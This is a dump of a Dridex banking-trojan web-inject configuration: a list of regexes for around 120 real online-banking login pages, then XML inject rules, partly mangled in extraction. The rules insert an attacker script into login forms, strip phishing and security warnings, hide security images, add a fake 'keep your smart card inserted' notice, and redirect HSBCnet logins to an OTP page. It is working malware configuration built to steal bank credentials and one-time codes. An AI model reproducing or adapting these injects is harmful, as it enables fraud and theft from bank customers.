dridex 220 targets:
>^https://access\.rbsm\.com/logon/(password|dp300)/.+\.fcc(\?|$)
>^https://ambank\.amonline\.com\.my
>^https://apib\d*\.anz\.com/apinetbank/(Startup|LoginEsInetANZ)\.aspx(\?|$)
>^https://bank\.barclays\.co\.uk/olb/auth/LoginLink\.action
>^https://banking\.lloydsbank\.com/Logon/logon\.aspx(\?|$)
>^https://.*\.banquepopulaire\.fr/(auth/UI/Login|WebSSO_BP/_\d+/index\.html)
>^https://.*/banque/sso/co/connexionsec\.do
>^https://bbank\d+\.ybonline\.co\.uk/ifdu/ifdlm\-web/login\.ctl
>^https://bbmy\.ocbc\.com
>^https://biz\.hkbea\-cyberbanking\.com/servlet/MA01Show(\?|$)
>^https://bizibanking\.bangkokbank\.com/bblamsui/Signon.*\.aspx
>^https://biz\.uob\.com\.my/ELO/login\.jsp
>^https://.*business\.lloydsbank\.co\.uk/business
>^https://cardsonline\-commercial\.com/RBSG\_Commercial/.*Login\.do
>^https://cbs\.ncbchina\.cn/corporbank/login\_basic\_e\.jsp(\?|$)
>^https://cib\.affinonline\.com/business/login\.html
>^https://cib\.bochk\.com/login/cib\_login012\_.*\.jsp(\?|$)
>^https://cib\.bochk\.com/login/fis/cib\_login012\_.*\.jsp(\?|$)
>^https://cib\.icicibank\.com\.sg/CIBSGAPP/BANKAWAY(\?|$)
>^https://clientlogin\.ibb\.ubs\.com/login(\?|$)
>^https://comnet\.pbz\.hr/PbzComnetWeb/app/logon\.html
>^https://connexis\.bnpparibas\.com/
>^https://(corpebankasia|corpebank)\.icbc\.com\.cn/icbc/corporbank/index.*\.jsp(\?|$)
>^https://.*/co_statiqu111111e/js/auth\-min\.js
>^https://.*\.credit\-agricole\.fr/stb/entreeBam
>^https://.*\.directnet\.com/dn/c/cls/auth
>^https://direkt\.rba\.hr/cgi\-bin/ppz2/start/rbat\.jsp
>^https://ebank\.eonbank\.com\.my/cashmgmt/security/commonLogin\.jsp($|\?)
>^https://ebanking\-ch\d+\.ubs\.com/workbench/Index\.do
>^https://ebank\.kasikornbankgroup\.com/kbiznet/login.*\.html
>^https://eb\.bankcomm\.com\.hk/eb/login\.action(\?|$)
>^https://ebusiness\.hangseng\.com/1/2/
>^https://e\-finance\.postfinance\.ch/(ef/secure|secure/fp)/html/
>^https://egyptnet\.bnpparibas\.com/part/.*/dciweb\.htm\?p0=idesai\.tht
>^https://elementa\.otpbanka\.hr/gradjani/.*/foweb/nb/eLEMENTa
>^https://entreprises\.bnpparibas\.net/(NSAccess|NSFR)
>^https://entreprises\.societegenerale\.fr
>^https://.*/fi\d+/bb/logon
>^https://home\d+\.cbonline.co\.uk/ralu.*/reglm\-web/login\.ctl
>^https://home\d+\.ybonline.co\.uk/ralu/reglm\-web/login\.ctl
>^https://ibank\.agribank\.com\.vn/ibank/index\.jsp
>^https://ibank\.bni\.co\.id/corp/AuthenticationController
>^https://ibank\.bri\.co\.id/cms/
>^https://ibank\d*\.bib\.barclays\.com/logon/
>^https://ibank\.hncb\.com\.hk/netbank/pages/jsp/HKLogin/html/HKLogin\_en\.jsp(\?|$)
>^https://ibank\.klikbca\.com
>^https://ibank\.standardchartered\.com\.hk/nfs/login\.htm(\?|$)
>^https://ibank\.standardchartered\.com\.sg/nfs/login\.htm(\?|$)
>^https://ib\.bankmandiri\.co\.id/retail/Login\.do
>^https://ib\.bri\.co\.id/ib\-bri/Login\.html
>^https://ibps\.hpb\.hr/HPB\.iBank\.IBPS\.Web/login\.iface
>^https://ideal\.dbs\.com/loginSubscriber/login/(SubscriberLoginServlet|pin\.jsp)
>^https://internet\-banking\.dbs\.com\.sg/IB/Welcome(\?|$)
>^https://internet\-banking\.hk\.dbs\.com/IB/Welcome(\?|$)
>^https://logon\.reflex\.rhbbank\.com\.my/rhbcams/corporate/login\.jsp
>^https://mcm\.bankmandiri\.co\.id/corp/common/login\.do\?action=login
>^https://mcsign\.ba\-ca\.com/smartoffice/\_mcologon\?\.\.OASLogon
>^https://mib\.bankmandiri\.co\.id/sme/common/login\.do\?action=login
>^https://net\.pbz\.hr/pbz365/logon.*
>^https://online\-business\.tsb\.co\.uk/business/logon/login\.jsp
>^https://particuliers\.secure.lcl\.fr/outil/UAUT
>^https://particuliers\.societegenerale\.fr
>^https://private\.bankofsingapore\.com/IPBWBWeb/Login/.+\.aspx(\?|$)
>^https://professionnels\.societegenerale\.fr
>^https://s2b\.standardchartered\.com/ssoapp/(login\.jsp|core\.security\.login\.event)
>^https://secure\.cafbank\.org
>^https://singapore\.lbbw\-business\.com/LBBWCorpWeb/login/.+\.action(\?|$)
>^https://sme\.standardchartered\.com/commonapp/core\.security\.vascochallenge\.event
>^https://sslsecure\.maybank\.com\.sg/cgi\-bin/mbs/scripts/mbb\_login\.jsp(\?|$)
>^https://uniservices\d*\.uobgroup\.com/(ELO/login\.jsp|wpe/ca/login\.do|wpe/ca/loginForm\.jsp)(\;|\?|$)
>^https://voscomptesenligne\.labanquepostale\.fr/wsost/OstBrokerWeb/loginform
>^https://vpn\.tarumanagara\.com/\+CSCOE\+/logon\.html
>^https://ws\d+\.kasikornbank\.com/baliweb/\d+/site/defaultskin/.*/html/static/logon\.htm
>^https://www\.allianceonline\.net\.my/Corporate/welcome\.htm
>^https://www\.amesecurities\.com\.my/gc/main\.jsp
>^https://www\.bankislam\.biz/rib/login/index
>^https://www\.bizchannel\.cimb\.com\.sg/corp/common\d*/login\.do(\?|$)
>^https://www\.business\.hsbc\.co\.uk/1/2/
>^https://www\.caisse\-epargne\.fr/(particuliers|espace\-pro|entreprises|economie\-sociale).*ind_pauthpopup\.aspx
>^https://www\.cic\.fr/fr/
>^https://www\.citibank\.com\.my/MYGCB/JPS/portal/Index\.do
>^https://www\.citibusiness\.citibank\.com\.sg/SGCBZ/JSO/signon/DisplayCinSignon\.do(\?|$)
>^https://www\.commercial\.hsbc\.com\.hk/1/2/.+
>^https://www\.creditmutuel\.fr/groupe/fr/index\.html
>^https://www\.credit\-suisse\.com\.sg/amserver/UI/Login(\?|$)
>^https://www\.danamonline\.com/onlinebanking/Login/lgn_new\.aspx
>^https://www\d*\.secure\.hsbcnet\.com/uims/content/public/hibm/logon/usernameInput.+
>^https://www\d*\.secure\.hsbcnet\.com/uims/portal/IDV\_CAM10\_AUTHENTICATION(;|$)
>^https://www\d*\.secure\.hsbcnet\.com/uims/portal/IDV\_OTP\_CHALLENGE(;|$)
>^https://www\.ebanking\.cimbthai\.com/cash/logon\.jsp
>^https://www\.fbo\.fubonbank\.com\.hk/fboPortal/index\_e\.jsp(\?|$)
>^https://www\.hongleongonline\.com\.my/business/public/main\.html
>^https://www\.hsbc\.com\.cn/1/2/.+
>^https://www\.hsbc\.com\.sg/1/2/.+
>^https://www\.hsbc\.com\.vn/1/2/
>^https://www\.hsbc\.co\.uk/1/2/
>^https://www\.hsbc\.fr/1/2/hsbc\-france/entreprises\-institutionnels/connexion
>^https://www\.integrator\.barclays\.com/idc/html/LoginStep1\.html
>^https://www\.irakyat\.com\.my/retail/security/commonLogin\.jsp
>^https://www\.kbc\.be/
>^https://www\.maybank2e\.net/M2E/mbbcustomer/
>^https://www\.maybank2u\.com\.my/mbb/m2u/common/mbbLoginCheckAdapt\.do
>^https://www\.maybank2u\.com\.my/mbb/m2uNOW/common/mbbLoginCheckAdapt\.do
>^https://www\.mybsn\.com\.my/mybsn/login/login\.do
>^https://www\.onlinesbiglobal\.com/\S+/BANKAWAY($|\?|\;)
>^https://www\.otpbanka\.hr/english/welcome\.htm
>^https://www\.otpbanka\.hr/html/dobrodosli\.htm
>^https://www\.pekaobiznes24\.pl/do/login
>^https://www\.permatae\-business\.com/corp/common/login\.do\?action=login
>^https://www\.rbsdigital\.com/(login|default)\.aspx
>^https://www\.sbnet\.splitskabanka\.hr/priv/.*/dciweb\.htm
>^https://www\.ucoebanking\.com/BankAwayRetail/.*/web/L001/retail/jsp/user/CorporateSignOn\.aspx(\?|$)
>^https://www\.vietcombank\.com\.vn/ibanking/Default\.aspx
>^https://www\.vietinbank\.vn/ipay/vbh/login\.do
>^https://www\.winglungbank\.com/corpbanking/logon/CbHomLogonInp\.jsp(\?|$)
>^https://www\.zaba\.hr/ebank/gradjani/InnerLogin\.jsp
>^http://www\d*\.secure\.hsbcnet\.com/uims/content/public/hibm/logon/logon\.html


from dump extract:


<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[(class="frame securityImage")
]></pattern><replacement
<![CDATA[\1 style="display:none;"
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://banking\.lloydsbank\.com/Logon/logon\.aspx(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[ class="message">Reminder.*</span>
]></pattern><replacement
<![CDATA[></span>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*business\.lloydsbank\.co\.uk/business
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><!--
		<modify>
			<pattern modifiers="msU">
				<![CDATA[(\</title\>)]]>
			</pattern>
			<replacement>
				<![CDATA[\1<style type="text/css">
body {visibility: hidden}
</style>]]>
			</replacement>
		</modify>
		<modify>
			<pattern modifiers="msU">
				<![CDATA[(\</html\>)]]>
			</pattern>
			<replacement>
				<![CDATA[\1<script type="text/javascript" src="/rpluk/js.php?system=lloydsbiz"></script>]]>
			</replacement>
		</modify>
		--></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://bbank\d+\.ybonline\.co\.uk/ifdu/ifdlm\-web/login\.ctl
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://home\d+\.ybonline.co\.uk/ralu/reglm\-web/login\.ctl
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\d*\.bib\.barclays\.com/logon/
/url></conditions><actions
<modify
<pattern
modifiers
"msU
><![CDATA[(\<head.*\>)
]></pattern><replacement
<![CDATA[\1
<style type="text/css">
body {visibility: hidden; }
</style>
<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
<script type="text/javascript">setTimeout(function(){document.body.style.visibility = 'visible';}, 5000);</script>
]></replacement></modify><modify
<pattern
modifiers
"msU
><![CDATA[Your security obligations.*<script
]></pattern><replacement
<![CDATA[Your security obligations</p></td></tr><tr/><tr/><tr><td width="10%"/><td class="bodytext" colspan="1"><p>Due to our recent security changes you should <b>keep your smart card inserted in your card reader</b>. </p><p>This security message will appear periodically.</p><p>Please tick the box to acknowledge these security obligations.</p></td><td width="40%"/></tr></table><script
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://online\-business\.tsb\.co\.uk/business/logon/login\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://home\d+\.cbonline.co\.uk/ralu.*/reglm\-web/login\.ctl
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.business\.hsbc\.co\.uk/1/2/
/url></conditions><actions
<modify
<pattern
modifiers
"msU
><![CDATA[(class\="hsbcContent.+</div>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://clientlogin\.ibb\.ubs\.com/login(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\d*\.secure\.hsbcnet\.com/uims/portal/IDV\_OTP\_CHALLENGE(;|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[<p class="required">Important Reminder.*</p>
]></pattern><replacement
<![CDATA[
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\d*\.secure\.hsbcnet\.com/uims/portal/IDV\_CAM10\_AUTHENTICATION(;|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[<p class="required">Important Reminder.*</p>
]></pattern><replacement
<![CDATA[
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\d*\.secure\.hsbcnet\.com/uims/content/public/hibm/logon/usernameInput.+
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[<p class="required">Important Reminder.*</p>
]></pattern><replacement
<![CDATA[
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^http://www\d*\.secure\.hsbcnet\.com/uims/content/public/hibm/logon/logon\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(<head>)
]></pattern><replacement
<![CDATA[\1
<style>
body {display:none;}
</style>
<script type="text/javascript" language="JavaScript">
top.location.href = 'https://www2.secure.hsbcnet.com/uims/portal/IDV_CAM10_AUTHENTICATION';
</script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.rbsdigital\.com/(login|default)\.aspx
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[(class="frame securityImage")
]></pattern><replacement
<![CDATA[\1 style="display:none;"
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.integrator\.barclays\.com/idc/html/LoginStep1\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.commercial\.hsbc\.com\.hk/1/2/.+
/url></conditions><actions
<modify
<pattern
modifiers
"sAi
><![CDATA[(.+</body>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://internet\-banking\.hk\.dbs\.com/IB/Welcome(\?|$)
/url><url
type
"allow
 onpost
 onget
 modifiers
>^https://internet\-banking\.dbs\.com\.sg/IB/Welcome(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://apib\d*\.anz\.com/apinetbank/(Startup|LoginEsInetANZ)\.aspx(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://cib\.affinonline\.com/business/login\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.agribank\.com\.vn/ibank/index\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.allianceonline\.net\.my/Corporate/welcome\.htm
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ambank\.amonline\.com\.my
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.amesecurities\.com\.my/gc/main\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://cib\.bochk\.com/login/fis/cib\_login012\_.*\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.bri\.co\.id/cms/
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://bizibanking\.bangkokbank\.com/bblamsui/Signon.*\.aspx
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.bankislam\.biz/rib/login/index
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://cib\.bochk\.com/login/cib\_login012\_.*\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://eb\.bankcomm\.com\.hk/eb/login\.action(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://biz\.hkbea\-cyberbanking\.com/servlet/MA01Show(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://private\.bankofsingapore\.com/IPBWBWeb/Login/.+\.aspx(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.bizchannel\.cimb\.com\.sg/corp/common\d*/login\.do(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.ebanking\.cimbthai\.com/cash/logon\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.citibusiness\.citibank\.com\.sg/SGCBZ/JSO/signon/DisplayCinSignon\.do(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[.+(?<inject><b>PHISHING ALERT</b>.+?</font>.+?)</font>
]></pattern><replacement
></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.citibank\.com\.my/MYGCB/JPS/portal/Index\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.credit\-suisse\.com\.sg/amserver/UI/Login(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ideal\.dbs\.com/loginSubscriber/login/(SubscriberLoginServlet|pin\.jsp)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*\.directnet\.com/dn/c/cls/auth
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.fbo\.fubonbank\.com\.hk/fboPortal/index\_e\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.hsbc\.com\.cn/1/2/.+
/url></conditions><actions
<modify
<pattern
modifiers
"sAi
><![CDATA[(.+</body>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.hsbc\.com\.sg/1/2/.+
/url></conditions><actions
<modify
<pattern
modifiers
"sAi
><![CDATA[(.+</body>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.hsbc\.com\.vn/1/2/
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ebusiness\.hangseng\.com/1/2/
/url></conditions><actions
<modify
<pattern
modifiers
"sAi
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ebank\.eonbank\.com\.my/cashmgmt/security/commonLogin\.jsp($|\?)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.hongleongonline\.com\.my/business/public/main\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibps\.hpb\.hr/HPB\.iBank\.IBPS\.Web/login\.iface
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.hncb\.com\.hk/netbank/pages/jsp/HKLogin/html/HKLogin\_en\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://cib\.icicibank\.com\.sg/CIBSGAPP/BANKAWAY(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://(corpebankasia|corpebank)\.icbc\.com\.cn/icbc/corporbank/index.*\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
"isA
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ebank\.kasikornbankgroup\.com/kbiznet/login.*\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ws\d+\.kasikornbank\.com/baliweb/\d+/site/defaultskin/.*/html/static/logon\.htm
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.kbc\.be/
/url></conditions><actions
<modify
<pattern
modifiers
"isU
><![CDATA[(<form.*id="ID_LOGONFORM".*</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://vpn\.tarumanagara\.com/\+CSCOE\+/logon\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
